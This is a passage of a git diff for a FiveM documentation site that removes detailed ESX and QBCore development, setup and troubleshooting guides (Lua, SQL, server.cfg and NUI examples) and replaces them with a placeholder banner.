-RegisterNetEvent('myresource:server:action', function(data) - local xPlayer = ESX.GetPlayerFromId(source) - if not xPlayer then return end - - if not data or type(data) ~= 'table' then - return - end - - if not data.amount or type(data.amount) ~= 'number' or data.amount <= 0 then - return - end - - -- Process valid data -end) -``` - -### Testing - -1. **Test with Multiple Players** -2. **Test Resource Restart** -3. **Test Database Disconnection** -4. **Test Invalid Inputs** -5. **Monitor Resource Usage** - -### Monitoring - -1. **Regular Database Backups** -2. **Monitor Server Performance** -3. **Check Error Logs** -4. **Update Dependencies** - - - Regular maintenance and monitoring can prevent most issues before they become problems. - - - - Always test changes on a development server before applying to production. - + +We are working hard to get the full ESX documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/qbcore/development.mdx b/content/docs/frameworks/qbcore/development.mdx index 124df2c..3f0b139 100644 --- a/content/docs/frameworks/qbcore/development.mdx +++ b/content/docs/frameworks/qbcore/development.mdx @@ -4,860 +4,8 @@ description: Complete guide to developing resources for QBCore framework. icon: "Code" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers everything you need to know about developing custom resources for QBCore framework. - -## Development Environment Setup - -### Prerequisites - -- **Code Editor**: VS Code with Lua extensions recommended -- **Git**: For version control -- **Database Tool**: HeidiSQL, phpMyAdmin, or similar -- **QBCore Server**: Running development server - -### Recommended VS Code Extensions - -```json -{ - "recommendations": [ - "sumneko.lua", - "actboy168.lua-debug", - "keyring.lua", - "koihik.vscode-lua-format", - "trixnz.vscode-lua" - ] -} -``` - -### Development Server Setup - -Create a separate development server configuration: - -```cfg -# server-dev.cfg -set sv_hostname "QBCore Development Server" -set sv_maxclients 4 -sv_licenseKey "your_license_key" - -# Developer permissions -add_ace group.admin command allow -add_ace group.admin resource allow -add_principal identifier.steam:your_steam_id group.admin - -# Fast restart for development -sv_scriptHookAllowed 1 -set developer_mode true -``` - -## Resource Structure - -### Standard QBCore Resource Structure - -``` -qb-resourcename/ -├── client/ -│ ├── main.lua -│ ├── events.lua -│ └── utils.lua -├── server/ -│ ├── main.lua -│ ├── events.lua -│ └── callbacks.lua -├── shared/ -│ ├── config.lua -│ ├── items.lua -│ └── locale.lua -├── html/ # For NUI resources -│ ├── index.html -│ ├── style.css -│ └── script.js -├── database/ # Database files -│ └── qb-resourcename.sql -├── locales/ # Translation files -│ ├── en.lua -│ ├── es.lua -│ └── fr.lua -├── fxmanifest.lua -└── README.md -``` - -### fxmanifest.lua Template - -```lua -fx_version 'cerulean' -game 'gta5' - -author 'Your Name ' -description 'QBCore Resource Description' -version '1.0.0' -repository 'https://github.com/yourusername/qb-resourcename' - -shared_scripts { - '@qb-core/shared/locale.lua', - 'locales/en.lua', - 'shared/*.lua' -} - -client_scripts { - 'client/*.lua' -} - -server_scripts { - '@oxmysql/lib/MySQL.lua', - 'server/*.lua' -} - -ui_page 'html/index.html' -- For NUI resources - -files { - 'html/index.html', - 'html/style.css', - 'html/script.js' -} - -lua54 'yes' - -dependencies { - 'qb-core', - 'oxmysql' -} - -provide 'qb-resourcename' -- Optional: for resource replacement -``` - -## Core Integration - -### Getting QBCore Object - -```lua --- Client-side -local QBCore = exports['qb-core']:GetCoreObject() - --- Server-side -local QBCore = exports['qb-core']:GetCoreObject() - --- Alternative method (deprecated but still works) -QBCore = nil -CreateThread(function() - while QBCore == nil do - TriggerEvent('QBCore:GetObject', function(obj) QBCore = obj end) - Wait(200) - end -end) -``` - -### Player Data Management - -#### Getting Player Data - -```lua --- Server-side -local Player = QBCore.Functions.GetPlayer(source) -if Player then - local playerData = Player.PlayerData - local citizenId = Player.PlayerData.citizenid - local job = Player.PlayerData.job - local money = Player.PlayerData.money -end - --- Client-side -local PlayerData = QBCore.Functions.GetPlayerData() -if PlayerData then - local job = PlayerData.job - local money = PlayerData.money -end -``` - -#### Player Events - -```lua --- Client-side: Listen for player data updates -RegisterNetEvent('QBCore:Client:OnPlayerLoaded', function() - PlayerData = QBCore.Functions.GetPlayerData() - -- Initialize your resource after player loads -end) - -RegisterNetEvent('QBCore:Client:OnJobUpdate', function(JobInfo) - PlayerData.job = JobInfo - -- Handle job updates -end) - -RegisterNetEvent('QBCore:Client:OnMoneyChange', function(moneyType, amount, operation) - -- Handle money changes -end) - --- Server-side: Player management -AddEventHandler('QBCore:Server:OnPlayerLoaded', function(Player) - -- Handle player loading -end) - -AddEventHandler('playerDropped', function() - local src = source - local Player = QBCore.Functions.GetPlayer(src) - if Player then - -- Handle player disconnect - end -end) -``` - -## Database Integration - -### Using oxmysql - -```lua --- SELECT query -MySQL.Async.fetchAll('SELECT * FROM players WHERE job = ?', {jobName}, function(result) - if result[1] then - -- Handle results - end -end) - --- SELECT single row -MySQL.Async.fetchSingle('SELECT * FROM players WHERE citizenid = ?', {citizenId}, function(result) - if result then - -- Handle single result - end -end) - --- INSERT query -MySQL.Async.execute('INSERT INTO my_table (citizenid, data) VALUES (?, ?)', { - citizenId, - json.encode(data) -}, function(affectedRows) - if affectedRows > 0 then - -- Success - end -end) - --- UPDATE query -MySQL.Async.execute('UPDATE players SET money = ? WHERE citizenid = ?', { - json.encode(money), - citizenId -}, function(affectedRows) - -- Handle update -end) -``` - -### Modern oxmysql (Promise-based) - -```lua --- Using promises (recommended) -local result = MySQL.query.await('SELECT * FROM players WHERE job = ?', {jobName}) -if result[1] then - -- Handle results -end - --- With error handling -local success, result = pcall(MySQL.query.await, 'SELECT * FROM players WHERE citizenid = ?', {citizenId}) -if success and result[1] then - -- Handle success -else - print('Database query failed') -end -``` - -## Item System - -### Creating Custom Items - -Add items to `qb-core/shared/items.lua`: - -```lua -QBShared.Items = { - -- Existing items... - - ['my_custom_item'] = { - name = 'my_custom_item', - label = 'My Custom Item', - weight = 500, - type = 'item', - image = 'my_custom_item.png', - unique = false, - useable = true, - shouldClose = true, - combinable = nil, - description = 'This is my custom item description' - }, - - ['weapon_custom'] = { - name = 'weapon_custom', - label = 'Custom Weapon', - weight = 2000, - type = 'weapon', - ammotype = 'AMMO_PISTOL', - image = 'weapon_custom.png', - unique = true, - useable = false, - description = 'A custom weapon' - } -} -``` - -### Item Usage Events - -```lua --- Server-side: Register useable item -QBCore.Functions.CreateUseableItem('my_custom_item', function(source, item) - local Player = QBCore.Functions.GetPlayer(source) - if Player then - -- Item usage logic - TriggerClientEvent('qb-myresource:client:useItem', source, item) - end -end) - --- Client-side: Handle item usage -RegisterNetEvent('qb-myresource:client:useItem', function(item) - -- Client-side item effects - QBCore.Functions.Notify('You used ' .. item.label, 'success') -end) -``` - -### Inventory Management - -```lua --- Server-side inventory functions -local Player = QBCore.Functions.GetPlayer(source) - --- Add item -Player.Functions.AddItem('my_item', 1, false, {quality = 100}) - --- Remove item -Player.Functions.RemoveItem('my_item', 1) - --- Get item -local item = Player.Functions.GetItemByName('my_item') -if item then - print('Player has ' .. item.amount .. ' of ' .. item.label) -end - --- Check if player has item -local hasItem = Player.Functions.GetItemByName('my_item') ~= nil -``` - -## Job System - -### Creating Custom Jobs - -Add jobs to `qb-core/shared/jobs.lua`: - -```lua -QBShared.Jobs = { - -- Existing jobs... - - ['mechanic'] = { - label = 'Mechanic', - defaultDuty = true, - offDutyPay = false, - grades = { - ['0'] = { - name = 'Trainee', - payment = 50 - }, - ['1'] = { - name = 'Mechanic', - payment = 75 - }, - ['2'] = { - name = 'Expert Mechanic', - payment = 100 - }, - ['3'] = { - name = 'Shop Supervisor', - payment = 125 - }, - ['4'] = { - name = 'Shop Owner', - isboss = true, - payment = 150 - }, - }, - } -} -``` - -### Job Management Functions - -```lua --- Server-side: Job management -local Player = QBCore.Functions.GetPlayer(source) - --- Set player job -Player.Functions.SetJob('mechanic', 2) - --- Check job permissions -if Player.PlayerData.job.name == 'police' and Player.PlayerData.job.grade.level >= 3 then - -- Allow police captain+ actions -end - --- Check if player is boss -if Player.PlayerData.job.isboss then - -- Boss-only actions -end - --- Client-side: Job checking -local PlayerData = QBCore.Functions.GetPlayerData() -if PlayerData.job.name == 'mechanic' then - -- Mechanic-specific functionality -end -``` - -## Vehicle System - -### Vehicle Management - -```lua --- Server-side: Vehicle functions -local Player = QBCore.Functions.GetPlayer(source) - --- Get player vehicles -local vehicles = MySQL.query.await('SELECT * FROM player_vehicles WHERE citizenid = ?', {Player.PlayerData.citizenid}) - --- Add vehicle to player -local vehicleData = { - citizenid = Player.PlayerData.citizenid, - vehicle = 'adder', - hash = GetHashKey('adder'), - mods = json.encode({}), - plate = 'ABC123', - garage = 'pillboxgarage', - fuel = 100, - engine = 1000.0, - body = 1000.0 -} - -MySQL.insert.await('INSERT INTO player_vehicles (citizenid, vehicle, hash, mods, plate, garage, fuel, engine, body) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', { - vehicleData.citizenid, - vehicleData.vehicle, - vehicleData.hash, - vehicleData.mods, - vehicleData.plate, - vehicleData.garage, - vehicleData.fuel, - vehicleData.engine, - vehicleData.body -}) -``` - -### Vehicle Keys Integration - -```lua --- Give keys to player -TriggerEvent('qb-vehiclekeys:server:GiveVehicleKeys', source, plate) - --- Remove keys from player -TriggerEvent('qb-vehiclekeys:server:RemoveVehicleKeys', source, plate) - --- Client-side: Check if player has keys -local hasKeys = exports['qb-vehiclekeys']:HasKeys(plate) -``` - -## UI Development (NUI) - -### Basic NUI Setup - -```html - - - - - - - QBCore Resource UI - - - - - - - - -``` - -```css -/* html/style.css */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - font-family: 'Arial', sans-serif; - background: transparent; - color: white; -} - -#container { - position: absolute; - top: 50%; - left: 50%; - transform: translate(-50%, -50%); - width: 600px; - height: 400px; - background: rgba(0, 0, 0, 0.9); - border-radius: 10px; - border: 1px solid #333; -} - -#header { - display: flex; - justify-content: space-between; - align-items: center; - padding: 20px; - border-bottom: 1px solid #333; -} - -#close-btn { - background: #ff4757; - color: white; - border: none; - border-radius: 50%; - width: 30px; - height: 30px; - cursor: pointer; - font-size: 16px; -} - -#content { - padding: 20px; -} -``` - -```javascript -// html/script.js -$(document).ready(function() { - // Hide UI on ESC key - document.onkeyup = function(data) { - if (data.which == 27) { - closeUI(); - } - } - - // Close button click - $('#close-btn').click(function() { - closeUI(); - }); - - // Listen for messages from Lua - window.addEventListener('message', function(event) { - const data = event.data; - - switch(data.action) { - case 'open': - openUI(data.data); - break; - case 'close': - closeUI(); - break; - case 'updateData': - updateUI(data.data); - break; - } - }); -}); - -function openUI(data) { - $('#container').fadeIn(300); - $.post('https://qb-myresource/uiLoaded', JSON.stringify({})); -} - -function closeUI() { - $('#container').fadeOut(300); - $.post('https://qb-myresource/closeUI', JSON.stringify({})); -} - -function updateUI(data) { - // Update UI with new data -} -``` - -### Lua NUI Integration - -```lua --- Client-side NUI management -local isUIOpen = false - --- Open UI -function OpenUI(data) - if isUIOpen then return end - - isUIOpen = true - SetNuiFocus(true, true) - SendNUIMessage({ - action = 'open', - data = data - }) -end - --- Close UI -function CloseUI() - if not isUIOpen then return end - - isUIOpen = false - SetNuiFocus(false, false) - SendNUIMessage({ - action = 'close' - }) -end - --- NUI Callbacks -RegisterNUICallback('uiLoaded', function(data, cb) - -- UI has loaded - cb('ok') -end) - -RegisterNUICallback('closeUI', function(data, cb) - CloseUI() - cb('ok') -end) - --- Export functions for other resources -exports('OpenUI', OpenUI) -exports('CloseUI', CloseUI) -``` - -## Event System - -### Custom Events - -```lua --- Server-side events -RegisterNetEvent('qb-myresource:server:doSomething', function(data) - local src = source - local Player = QBCore.Functions.GetPlayer(src) - - if not Player then return end - - -- Validate data - if not data or not data.value then - return - end - - -- Process request - local success = processRequest(Player, data) - - -- Send response - TriggerClientEvent('qb-myresource:client:requestResult', src, success) -end) - --- Client-side events -RegisterNetEvent('qb-myresource:client:requestResult', function(success) - if success then - QBCore.Functions.Notify('Request successful!', 'success') - else - QBCore.Functions.Notify('Request failed!', 'error') - end -end) -``` - -### Callbacks - -```lua --- Server-side callback -QBCore.Functions.CreateCallback('qb-myresource:server:getData', function(source, cb, playerId) - local Player = QBCore.Functions.GetPlayer(playerId) - if Player then - cb(Player.PlayerData) - else - cb(false) - end -end) - --- Client-side callback usage -QBCore.Functions.TriggerCallback('qb-myresource:server:getData', function(playerData) - if playerData then - -- Use player data - end -end, GetPlayerServerId(PlayerId())) -``` - -## Commands - -### Creating Commands - -```lua --- Server-side command -QBCore.Commands.Add('mycommand', 'Command description', {{name = 'target', help = 'Target player ID'}}, true, function(source, args) - local Player = QBCore.Functions.GetPlayer(source) - if not Player then return end - - local targetId = tonumber(args[1]) - if not targetId then - TriggerClientEvent('QBCore:Notify', source, 'Invalid player ID', 'error') - return - end - - local TargetPlayer = QBCore.Functions.GetPlayer(targetId) - if not TargetPlayer then - TriggerClientEvent('QBCore:Notify', source, 'Player not found', 'error') - return - end - - -- Command logic here - TriggerClientEvent('QBCore:Notify', source, 'Command executed successfully', 'success') -end, 'admin') -- Permission level - --- Client-side command -RegisterCommand('clientcommand', function(source, args, rawCommand) - local PlayerData = QBCore.Functions.GetPlayerData() - if PlayerData.job.name == 'police' then - -- Police-only client command - end -end, false) -``` - -## Configuration Management - -### config.lua Template - -```lua -Config = {} - --- General settings -Config.Debug = false -Config.Locale = GetConvar('qb_locale', 'en') - --- Feature toggles -Config.EnableFeatureA = true -Config.EnableFeatureB = false - --- Timing settings -Config.Cooldowns = { - action1 = 5000, -- 5 seconds - action2 = 30000, -- 30 seconds -} - --- Job permissions -Config.JobPermissions = { - mechanic = { - repair = 0, -- Grade 0+ - advanced = 2, -- Grade 2+ - boss = 4 -- Grade 4+ - }, - police = { - arrest = 0, - impound = 1, - commander = 3 - } -} - --- Locations -Config.Locations = { - mechanic_shop = { - coords = vector3(123.45, 678.90, 12.34), - heading = 90.0, - radius = 2.0, - blip = { - sprite = 446, - color = 2, - scale = 0.8, - name = "Mechanic Shop" - } - } -} - --- Items and pricing -Config.Items = { - repair_kit = { - item = 'repair_kit', - price = 500, - requiredJob = 'mechanic' - } -} - --- Notifications -Config.Notifications = { - success_repair = 'Vehicle repaired successfully', - insufficient_funds = 'You don\'t have enough money', - wrong_job = 'You don\'t have the required job' -} -``` - -## Testing & Debugging - -### Debug Functions - -```lua --- Debug utility -local function DebugPrint(...) - if Config.Debug then - print('^3[QB-MYRESOURCE]^7', ...) - end -end - --- Server-side debugging -local function LogAction(player, action, data) - if Config.Debug then - print(string.format('^3[QB-MYRESOURCE]^7 Player: %s (%s) | Action: %s | Data: %s', - player.PlayerData.name, - player.PlayerData.citizenid, - action, - json.encode(data) - )) - end -end - --- Client-side debugging -local function DrawDebugText(text, x, y) - if Config.Debug then - SetTextFont(0) - SetTextProportional(1) - SetTextScale(0.0, 0.35) - SetTextDropshadow(0, 0, 0, 0, 255) - SetTextEdge(1, 0, 0, 0, 255) - SetTextDropShadow() - SetTextOutline() - SetTextEntry("STRING") - AddTextComponentString(text) - DrawText(x, y) - end -end -``` - -### Testing Checklist - -- [ ] Resource starts without errors -- [ ] Database connections work -- [ ] Player events trigger correctly -- [ ] Items can be used/given/removed -- [ ] UI opens/closes properly -- [ ] Commands execute with proper permissions -- [ ] No console errors or warnings -- [ ] Memory usage is reasonable -- [ ] Performance is acceptable - -## Best Practices - -### Code Organization - -1. **Separate Concerns**: Keep client, server, and shared code separate -2. **Use Callbacks**: For data requests between client and server -3. **Validate Everything**: Never trust client input -4. **Handle Errors**: Use pcall for database operations -5. **Performance**: Avoid unnecessary loops and timers - -### Security - -1. **Server Validation**: Always validate on the server -2. **Permission Checks**: Verify job/permissions before actions -3. **Rate Limiting**: Prevent spam/abuse -4. **Secure Events**: Use source validation - -### Performance - -1. **Efficient Queries**: Use proper database indexes -2. **Caching**: Cache frequently accessed data -3. **Resource Cleanup**: Clean up on resource stop -4. **Minimal UI**: Keep NUI lightweight - -This comprehensive development guide provides everything needed to create professional QBCore resources following best practices and framework conventions. + +We are working hard to get the full qbCore documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/qbcore/index.mdx b/content/docs/frameworks/qbcore/index.mdx index b729ddb..a40ec83 100644 --- a/content/docs/frameworks/qbcore/index.mdx +++ b/content/docs/frameworks/qbcore/index.mdx @@ -4,118 +4,8 @@ description: A comprehensive guide to using and developing for the QBCore framew icon: "Component" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -QBCore is a modern, feature-rich framework for FiveM that provides a solid foundation for roleplay servers. It offers a comprehensive set of features, excellent documentation, and an active community. - -## Quick Navigation - - - - - - - -## Overview - -QBCore is designed as a successor to ESX, addressing many common pain points while providing enhanced functionality and performance. The framework is built around a modular design philosophy, making it highly extensible and customizable. - -### Key Features - - - -## Getting Started - -New to QBCore? Follow this recommended path: - - - -## Community Resources - - - - - QBCore is actively developed with frequent updates. Always check the official documentation for the latest information. - - - - Always test resources thoroughly before deploying to a production server. Breaking changes in QBCore updates can affect resource compatibility. - \ No newline at end of file + +We are working hard to get the full qbCore documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/qbcore/setup.mdx b/content/docs/frameworks/qbcore/setup.mdx index a2c2864..70d8c7d 100644 --- a/content/docs/frameworks/qbcore/setup.mdx +++ b/content/docs/frameworks/qbcore/setup.mdx @@ -4,425 +4,8 @@ description: Complete guide to setting up and installing QBCore framework. icon: "Download" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers the complete installation and initial setup of QBCore framework for your FiveM server. - -## Prerequisites - -Before installing QBCore, ensure you have: - -- **FiveM Server**: A properly configured FiveM server -- **MySQL Database**: MySQL 8.0+ or MariaDB 10.6+ -- **Git**: For cloning repositories -- **Basic Command Line Knowledge**: Comfort with terminal commands - -## Installation Methods - - - -### Method 1: Fresh Installation (Recommended) - -#### 1. Database Setup - -Create a new MySQL database for your server: - -```sql -CREATE DATABASE qbcore_server CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -CREATE USER 'qbcore_user'@'localhost' IDENTIFIED BY 'your_secure_password'; -GRANT ALL PRIVILEGES ON qbcore_server.* TO 'qbcore_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -#### 2. Server Structure - -Create the proper directory structure: - -```bash -# Navigate to your server's resources folder -cd /path/to/your/server/resources - -# Create QBCore folder structure -mkdir -p [qb] -mkdir -p [standalone] -mkdir -p [voice] -``` - -#### 3. Core Framework Installation - -```bash -# Clone the core framework -cd [qb] -git clone https://github.com/qbcore-framework/qb-core.git - -# Essential resources -git clone https://github.com/qbcore-framework/qb-multicharacter.git -git clone https://github.com/qbcore-framework/qb-spawn.git -git clone https://github.com/qbcore-framework/qb-inventory.git -git clone https://github.com/qbcore-framework/qb-target.git -git clone https://github.com/qbcore-framework/qb-clothing.git -git clone https://github.com/qbcore-framework/qb-weathersync.git -git clone https://github.com/qbcore-framework/qb-houses.git -git clone https://github.com/qbcore-framework/qb-garages.git -git clone https://github.com/qbcore-framework/qb-phone.git -git clone https://github.com/qbcore-framework/qb-vehicleshop.git -git clone https://github.com/qbcore-framework/qb-vehiclekeys.git -git clone https://github.com/qbcore-framework/qb-bankrobbery.git -git clone https://github.com/qbcore-framework/qb-policejob.git -git clone https://github.com/qbcore-framework/qb-ambulancejob.git -git clone https://github.com/qbcore-framework/qb-management.git -git clone https://github.com/qbcore-framework/qb-radialmenu.git -git clone https://github.com/qbcore-framework/qb-hud.git -git clone https://github.com/qbcore-framework/qb-menu.git -git clone https://github.com/qbcore-framework/qb-input.git -git clone https://github.com/qbcore-framework/qb-loading.git -``` - -#### 4. Database Dependencies - -Install required database resources: - -```bash -# Navigate to standalone folder -cd ../[standalone] - -# Clone database connector -git clone https://github.com/overextended/oxmysql.git -``` - -#### 5. Database Import - -Import the QBCore database structure: - -```bash -# Import base database (located in qb-core/server/database.sql) -mysql -u qbcore_user -p qbcore_server < [qb]/qb-core/server/database.sql - -# Import additional resource databases as needed -mysql -u qbcore_user -p qbcore_server < [qb]/qb-houses/database/qb-houses.sql -mysql -u qbcore_user -p qbcore_server < [qb]/qb-phone/database/qb-phone.sql -# Continue for other resources with database requirements -``` - -### Method 2: QBCore Template (Alternative) - -For a quicker start, use the QBCore server template: - -```bash -# Clone the complete template -git clone https://github.com/qbcore-framework/qb-txAdminRecipe.git - -# This includes: -# - Pre-configured server structure -# - All essential resources -# - Database files -# - Basic configuration -``` - -## Configuration - -### 1. Database Connection - - - -Configure your database connection in `qb-core/shared/config.lua`: - -```lua -QBConfig = {} - -QBConfig.MaxPlayers = GetConvarInt('sv_maxclients', 48) -QBConfig.DefaultSpawn = {x = -254.88, y = -982.14, z = 31.22, h = 207.5} -QBConfig.UpdateInterval = 5 -QBConfig.StatusInterval = 5000 -QBConfig.Money = {} -QBConfig.Money.MoneyTypes = {cash = 500, bank = 5000, crypto = 0} -QBConfig.Money.DontAllowMinus = {'cash', 'crypto'} -QBConfig.Money.PayCheckTimeOut = 10 -QBConfig.Money.PayCheckSociety = false - --- Player management -QBConfig.Player = {} -QBConfig.Player.HungerRate = 4.2 -QBConfig.Player.ThirstRate = 3.8 -QBConfig.Player.Bloodtypes = {"A+", "A-", "B+", "B-", "AB+", "AB-", "O+", "O-"} - --- Server configuration -QBConfig.Server = {} -QBConfig.Server.Closed = false -QBConfig.Server.ClosedReason = "Server Closed" -QBConfig.Server.Uptime = 0 -QBConfig.Server.Whitelist = false -QBConfig.Server.WhitelistPermission = 'admin' -QBConfig.Server.PVP = true -QBConfig.Server.Discord = "" -QBConfig.Server.CheckDuplicateLicense = true -QBConfig.Server.Permissions = {'god', 'admin', 'mod'} -``` - -### 2. Server.cfg Configuration - -Add QBCore resources to your `server.cfg`: - -```cfg -# Database -ensure oxmysql - -# QBCore Framework -ensure qb-core -ensure qb-multicharacter -ensure qb-spawn -ensure qb-inventory -ensure qb-target -ensure qb-clothing -ensure qb-weathersync - -# Jobs -ensure qb-policejob -ensure qb-ambulancejob -ensure qb-management - -# Properties -ensure qb-houses -ensure qb-garages - -# Vehicles -ensure qb-vehicleshop -ensure qb-vehiclekeys - -# UI/UX -ensure qb-hud -ensure qb-menu -ensure qb-input -ensure qb-phone -ensure qb-radialmenu -ensure qb-loading - -# Other essentials -ensure qb-bankrobbery - -# Database connection string -set mysql_connection_string "mysql://qbcore_user:your_secure_password@localhost/qbcore_server?charset=utf8mb4" - -# Server configuration -set sv_hostname "My QBCore Server" -set sv_maxclients 32 -set server_description "A QBCore FiveM Server" -set sv_projectName "QBCore Server" -set sv_projectDesc "QBCore FiveM Server" - -# QBCore specific -set qb_locale "en" -set qb_UseTarget true -set qb_inventory "qb-inventory" - -# Licensing -sv_licenseKey "your_license_key_here" -``` - -### 3. Resource Loading Order - -Proper loading order is crucial for QBCore: - -```cfg -# 1. Database connector -ensure oxmysql - -# 2. Core framework -ensure qb-core - -# 3. Character system -ensure qb-multicharacter -ensure qb-spawn - -# 4. Essential systems -ensure qb-inventory -ensure qb-target -ensure qb-clothing - -# 5. Environmental -ensure qb-weathersync - -# 6. UI Systems -ensure qb-hud -ensure qb-menu -ensure qb-input -ensure qb-radialmenu - -# 7. Properties & Vehicles -ensure qb-houses -ensure qb-garages -ensure qb-vehicleshop -ensure qb-vehiclekeys - -# 8. Jobs -ensure qb-policejob -ensure qb-ambulancejob -ensure qb-management - -# 9. Additional features -ensure qb-phone -ensure qb-bankrobbery -ensure qb-loading - -# 10. Custom resources (add your custom resources last) -``` - -## Verification & Testing - -### 1. Server Startup - -Start your server and verify QBCore loads properly: - -```bash -# Check the console for errors -# Look for messages like: -# [qb-core] QBCore Started! -# [qb-multicharacter] Multicharacter Started! -``` - -### 2. Database Verification - -Check that database tables were created: - -```sql -USE qbcore_server; -SHOW TABLES; - --- You should see tables like: --- players --- player_vehicles --- player_houses --- etc. -``` - -### 3. In-Game Testing - -1. **Connect to Server**: Join your server -2. **Character Creation**: Test the multicharacter system -3. **Basic Functions**: Try commands like `/me`, `/job`, `/inventory` -4. **Job System**: Test changing jobs with `/setjob [job] [grade]` - -## Common Installation Issues - -### Database Connection Errors - -**Error**: `Failed to execute query: Access denied` - -**Solution**: -```sql --- Recreate user with proper permissions -DROP USER 'qbcore_user'@'localhost'; -CREATE USER 'qbcore_user'@'localhost' IDENTIFIED BY 'your_password'; -GRANT ALL PRIVILEGES ON qbcore_server.* TO 'qbcore_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -### Resource Loading Errors - -**Error**: `Resource [qb-core] couldn't be started` - -**Solutions**: -1. Check resource path: Ensure resources are in `[qb]` folder -2. Verify manifest: Check `fxmanifest.lua` syntax -3. Dependencies: Ensure oxmysql loads before qb-core - -### Permission Errors - -**Error**: `You don't have permissions to access this` - -**Solution**: -```lua --- Add yourself as admin in qb-core/server/player.lua --- Or use the database: -INSERT INTO players (license, name, money, job, position) -VALUES ('license:your_license_here', 'Your Name', '{"cash":5000,"bank":25000,"crypto":0}', '{"name":"admin","label":"Admin","payment":5000,"onduty":true,"isboss":true,"grade":{"name":"Admin","level":10}}', '{"x":-269.4,"y":-955.3,"z":31.22,"h":205.8}'); -``` - -## Post-Installation Steps - -### 1. Admin Setup - -Add yourself as admin: - -```sql --- Method 1: Direct database -UPDATE players SET job = '{"name":"admin","label":"Admin","payment":5000,"onduty":true,"isboss":true,"grade":{"name":"Admin","level":10}}' WHERE license = 'license:your_license_here'; - --- Method 2: In-game command (if you have permissions) -/setjob admin 4 -``` - -### 2. Basic Server Configuration - -Configure basic server settings: - -```lua --- In qb-core/shared/config.lua -QBConfig.DefaultSpawn = {x = -254.88, y = -982.14, z = 31.22, h = 207.5} -- Customize spawn location -QBConfig.Money.MoneyTypes = {cash = 1000, bank = 10000, crypto = 0} -- Starting money -``` - -### 3. Job Configuration - -Add or modify jobs in `qb-core/shared/jobs.lua`: - -```lua -QBShared.Jobs = { - ['unemployed'] = { - label = 'Civilian', - defaultDuty = true, - offDutyPay = false, - grades = { - ['0'] = { - name = 'Freelancer', - payment = 10 - }, - }, - }, - ['police'] = { - label = 'Law Enforcement', - defaultDuty = true, - offDutyPay = false, - grades = { - ['0'] = {name = 'Recruit', payment = 50}, - ['1'] = {name = 'Officer', payment = 75}, - ['2'] = {name = 'Sergeant', payment = 100}, - ['3'] = {name = 'Lieutenant', payment = 125}, - ['4'] = {name = 'Chief', isboss = true, payment = 150}, - }, - }, - -- Add more jobs as needed -} -``` - -## Next Steps - -After successful installation: - -1. **[QBCore Configuration](/docs/frameworks/qbcore/configuration)** - Learn about advanced configuration options -2. **[Development Guide](/docs/frameworks/qbcore/development)** - Start developing custom resources -3. **[Troubleshooting](/docs/frameworks/qbcore/troubleshooting)** - Common issues and solutions -4. **[Resource Management](/docs/frameworks/qbcore/resources)** - Managing and updating QBCore resources - - - Congratulations! You now have a working QBCore server. Take time to familiarize yourself with the framework before adding custom resources. - - - - Always backup your database and server files before making major changes or updates. - + +We are working hard to get the full qbCore documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/qbcore/troubleshooting.mdx b/content/docs/frameworks/qbcore/troubleshooting.mdx index 74646dc..e7f06dd 100644 --- a/content/docs/frameworks/qbcore/troubleshooting.mdx +++ b/content/docs/frameworks/qbcore/troubleshooting.mdx @@ -4,606 +4,8 @@ description: Common issues and solutions for QBCore framework. icon: "Bug" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers common issues encountered when working with QBCore framework and their solutions. - -## Installation Issues - - - -### Database Connection Problems - -#### Error: "Access denied for user" - -**Symptoms:** -``` -[ERROR] Access denied for user 'qbcore_user'@'localhost' (using password: YES) -``` - -**Solutions:** - -1. **Check Database Credentials:** -```sql --- Verify user exists -SELECT User, Host FROM mysql.user WHERE User = 'qbcore_user'; - --- If user doesn't exist, create it -CREATE USER 'qbcore_user'@'localhost' IDENTIFIED BY 'your_password'; -GRANT ALL PRIVILEGES ON qbcore_server.* TO 'qbcore_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -2. **Verify Connection String:** -```cfg -# In server.cfg, ensure connection string is correct -set mysql_connection_string "mysql://qbcore_user:your_password@localhost/qbcore_server?charset=utf8mb4" -``` - -3. **Check MySQL Service:** -```bash -# Windows -net start mysql80 - -# Linux -sudo systemctl start mysql -sudo systemctl status mysql -``` - -#### Error: "Database 'qbcore_server' doesn't exist" - -**Solution:** -```sql -CREATE DATABASE qbcore_server CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -``` - -### Resource Loading Issues - -#### Error: "Resource [qb-core] couldn't be started" - -**Symptoms:** -``` -[ERROR] Could not load resource qb-core -[ERROR] Failed to start resource qb-core -``` - -**Solutions:** - -1. **Check Resource Path:** -``` -resources/ -├── [qb]/ -│ └── qb-core/ # Should be here -├── [standalone]/ -└── [voice]/ -``` - -2. **Verify fxmanifest.lua:** -```lua --- Check for syntax errors in fxmanifest.lua -fx_version 'cerulean' -game 'gta5' --- Ensure proper structure -``` - -3. **Check 